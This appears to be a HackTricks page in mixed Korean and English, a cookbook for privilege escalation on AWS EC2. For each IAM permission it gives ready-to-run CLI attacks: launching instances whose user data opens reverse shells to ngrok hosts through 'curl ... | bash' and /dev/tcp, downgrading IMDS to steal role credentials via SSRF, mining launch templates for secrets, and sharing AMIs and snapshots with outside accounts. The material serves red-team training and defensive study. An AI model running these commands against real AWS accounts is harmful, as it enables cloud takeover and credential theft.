AWS - EC2 Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

EC2

EC2에 대한 정보는 다음을 확인하세요:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

공격자는 IAM role을 연결한 instance를 생성하고 이후 해당 instance에 접근하여 metadata endpoint에서 IAM role 자격증명을 탈취할 수 있습니다.

  • SSH를 통한 접근

새 instance를 실행할 때 생성된 ssh key (--key-name)를 사용하고 ssh로 접속합니다 (새 key를 생성하려면 ec2:CreateKeyPair 권한이 필요할 수 있습니다).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • user data에 있는 rev shell을 통한 접근

이 방법으로 당신에게 rev shell을 전송할 user data (--user-data)를 사용해 새로운 인스턴스를 실행할 수 있습니다. 이 방법에서는 security group을 지정할 필요가 없습니다.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

인스턴스 외부에서 IAM role의 credentials를 사용할 경우 GuradDuty에 주의하세요:

AWS - GuardDuty Enum

Potential Impact: 기존 instance profiles에 연결된 EC2 role에 대한 Direct privesc.

Privesc to ECS

이 권한으로 create an EC2 instance and register it inside an ECS cluster할 수도 있습니다. 이렇게 하면, 접근 가능한 해당 EC2 instance 내부에서 ECS servicesrun되고, 그 서비스들(docker containers)에 침투하여 steal their ECS roles attached할 수 있습니다.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

To learn how to ECS 서비스를 강제로 실행시키는 방법 in this new EC2 instance check:

AWS - ECS Privesc

If you 새 인스턴스를 생성할 수 없다 but has the permission ecs:RegisterContainerInstance you might be able to register the instance inside the cluster and perform the commented attack.

Potential Impact: 태스크에 연결된 ECS 역할로의 직접 privesc.

iam:PassRole, iam:AddRoleToInstanceProfile

Similar to the previous scenario, an attacker with these permissions could 침해된 인스턴스의 IAM 역할을 변경할 수 so he could steal new credentials.
As an instance profile can only have 1 role, if the instance profile 이미 역할이 있는 경우 (common case), you will also need iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

만약 instance profile has a role이고 attacker가 cannot remove it면, 다른 우회 방법이 있습니다.
그는 find an instance profile without a role 또는 create a new one (iam:CreateInstanceProfile)을 할 수 있고, 앞서 설명한 것처럼 그 instance profileroleadd한 뒤, 그 associate the instance profile를 compromised된 i**nstance:**에 연결할 수 있습니다:

  • 해당 instance가 doesn’t have any instance profile인 경우 (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potential Impact: Direct privesc to a different EC2 role (해당 공격을 수행하려면 AWS EC2 인스턴스를 이미 침해했고 일부 추가 권한이나 특정 instance profile 상태가 필요합니다).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 인스턴스에 접근해 있었다면, 연결된 instance profile을 교체하여 더 많은 instance profile 역할의 자격증명(credentials)을 탈취할 수 있습니다.

  • 인스턴스에 instance profile이 있으면, instance profile을 제거(ec2:DisassociateIamInstanceProfile)하고 연결할 수 있습니다
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • 또는 침해된 인스턴스의 instance profile교체합니다 (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

잠재적 영향: 다른 EC2 역할로의 직접 privesc(공격자는 AWS EC2 instance를 이미 침해했으며 추가 권한이나 특정 instance profile 상태가 필요합니다).

ec2:RequestSpotInstances,iam:PassRole

권한 **ec2:RequestSpotInstancesandiam:PassRole**을 가진 공격자는 Spot InstanceEC2 Role attached 상태로 user datarev shell을 넣어 요청할 수 있습니다.
인스턴스가 실행되면, 공격자는 IAM role을 탈취할 수 있습니다.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

ec2:ModifyInstanceAttribute 권한을 가진 공격자는 인스턴스의 속성을 수정할 수 있습니다. 그중에서 user data를 변경할 수 있어, 인스턴스가 임의의 코드를 실행하도록 만들 수 있습니다. 이는 rev shell to the EC2 instance를 얻는 데 사용될 수 있습니다.

참고: 속성은 인스턴스가 중지된 동안에만 수정될 수 있으므로, 따라서 ec2:StopInstancesec2:StartInstances 권한이 필요합니다.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

잠재적 영향: 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 직접적인 privesc.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

권한 **ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate**을(를) 가진 공격자는 new Launch Template version을 생성하여 rev shell in the user dataany EC2 IAM Role on it을 포함시키고 기본 버전을 변경할 수 있으며, 해당 Launch Template를 using하는 any Autoscaler groupconfigured되어 latest 또는 default version을 사용하도록 설정되어 있으면, 그 그룹은 해당 템플릿으로 인스턴스를 re-run the instances하여 rev shell을 실행합니다.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potential Impact: 다른 EC2 role로의 직접적인 privesc.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

권한 **autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole**를 가진 공격자는 Launch ConfigurationIAM Rolerev shell을 포함한 user data로 생성한 다음, 해당 구성으로부터 autoscaling group을 생성하고 rev shell이 IAM Role을 탈취할 때까지 기다릴 수 있다.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

잠재적 영향: Direct privesc to a different EC2 role.

!autoscaling

권한 집합 ec2:CreateLaunchTemplate 및 **autoscaling:CreateAutoScalingGroup**는 IAM 역할로의 권한 상승에 충분하지 않습니다. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 iam:PassRoleec2:RunInstances 권한이 필요합니다(이는 알려진 privesc입니다).

ec2-instance-connect:SendSSHPublicKey

권한 **ec2-instance-connect:SendSSHPublicKey**를 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 대한 ssh 접근 권한이 있는 경우) 이를 이용해 접근하거나 권한을 상승시킬 수 있습니다.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potential Impact: 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접 privesc.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

권한 **ec2-instance-connect:SendSerialConsoleSSHPublicKey**을 가진 공격자는 serial connection에 ssh key를 추가할 수 있습니다. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 ec2:EnableSerialConsoleAccess 권한이 필요합니다.

serial 포트에 연결하려면 머신 내부 사용자 계정의 사용자 이름과 비밀번호를 알아야 합니다.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

이 방법은 exploit하려면 username과 password를 알아야 하므로 privesc에는 그리 유용하지 않습니다.

Potential Impact: (Highly unprovable) 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접적인 privesc.

describe-launch-templates,describe-launch-template-versions

launch templates에는 버전 관리가 되어 있으므로, ec2:describe-launch-templatesec2:describe-launch-template-versions 권한을 가진 공격자는 user data에 포함된 credentials와 같은 민감한 정보를 발견하기 위해 이를 악용할 수 있습니다. 이를 수행하기 위해 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

In the above commands, although we’re specifying certain patterns (aws_|password|token|api), you can use a different regex to search for other types of sensitive information.

Assuming we find aws_access_key_id and aws_secret_access_key, we can use these credentials to authenticate to AWS.

Potential Impact: IAM user(s)로의 직접적인 권한 상승.

References

ec2:ModifyInstanceMetadataOptions (IMDS 다운그레이드로 SSRF를 통한 자격 증명 탈취 활성화)

ec2:ModifyInstanceMetadataOptions를 피해자 EC2 인스턴스에서 호출할 수 있는 공격자는 IMDS 보호를 약화시켜 IMDSv1(HttpTokens=optional)을 활성화하고 HttpPutResponseHopLimit을 증가시킬 수 있습니다. 이렇게 하면 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 인스턴스 메타데이터 엔드포인트에 접근할 수 있게 됩니다. 공격자가 그러한 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 가져와 이를 이용해 pivot할 수 있습니다.

  • 필요 권한: 대상 인스턴스에서의 ec2:ModifyInstanceMetadataOptions (및 호스트에 도달/SSRF를 유발할 수 있는 능력).
  • 대상 리소스: 인스턴스 프로파일 (IAM role)이 연결된 실행 중인 EC2 인스턴스.

Commands example:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

잠재적 영향: SSRF를 통한 인스턴스 프로필 자격 증명 도용 — 이는 EC2 역할 권한으로 권한 상승 및 횡적 이동으로 이어질 수 있습니다.

ec2:ModifyInstanceMetadataOptions

ec2:ModifyInstanceMetadataOptions 권한을 가진 공격자는 Instance Metadata Service (IMDS)의 보호를 약화시킬 수 있습니다 — 예를 들어 IMDSv1을 강제로 사용하게 하여 HttpTokens을 필수로 하지 않거나 HttpPutResponseHopLimit을 증가시키는 방식으로 — 이로 인해 임시 자격 증명의 탈취가 쉬워집니다. 가장 관련성 높은 위험 벡터는 HttpPutResponseHopLimit을 올리는 것입니다: 해당 hop 한도(TTL)를 증가시키면 169.254.169.254 엔드포인트가 더 이상 VM의 네트워크 네임스페이스에 엄격히 제한되지 않고 다른 프로세스/컨테이너에서 접근 가능해져 자격 증명 도용이 가능해집니다.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

ec2:ModifyImageAttribute 및 ec2:ModifySnapshotAttribute 권한을 가진 공격자는 AMIs 또는 snapshots를 다른 AWS 계정과 공유하거나(심지어 공개로 설정하여) configurations, credentials, certificates, 또는 backups 같은 민감한 데이터를 포함할 수 있는 이미지나 볼륨을 노출시킬 수 있습니다. AMI의 launch permissions 또는 snapshot의 create-volume permissions을 수정함으로써, 공격자는 제3자가 해당 리소스에서 launch instances하거나 mount disks하여 그 내용에 접근할 수 있도록 합니다.

To share an AMI with another account:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS snapshot을 다른 계정과 공유하려면:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기